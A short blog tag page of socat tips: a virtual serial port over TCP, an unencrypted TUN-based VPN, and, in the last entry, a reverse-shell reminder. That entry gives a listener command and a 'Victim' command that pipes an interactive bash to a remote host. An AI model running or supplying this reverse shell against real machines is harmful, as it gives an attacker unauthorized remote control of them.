oriolrius.cat

Des del 2000 compartiendo sobre…

Tag: socat

socat tip: create virtual serial port and link it to TCP

Reading time: < 1 minute Create a virtual serial port and publish it on TCP port:

socat pty,link=/dev/virtualcom0,rawer tcp-listen:2101

In another computer, for instance, another virtual port can be created and connected to the previous one:

socat pty,link=/dev/virtualcom0,rawer tcp:SERVER_IP:2101

If in any of those both sides we want to open a real serial port, for instance, in the server case we can run:

socat /dev/ttyS0,rawer tcp-listen:2101

More information on socat manpage.

socat tip: VPN without cyphering

Reading time: < 1 minute

Fast reminder and tip for socat, it can work on two devices or more:

# SERVER:
socat TCP-LISTEN:4443 TUN:192.168.255.2/24,up

# CLIENT:
socat TCP:SERVER_IP:4443 TUN:192.168.255.1/24,up

socat reminder: reverse shell

Reading time: < 1 minute

#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:12345

#Victim:
socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp:IP_LISTENER:12345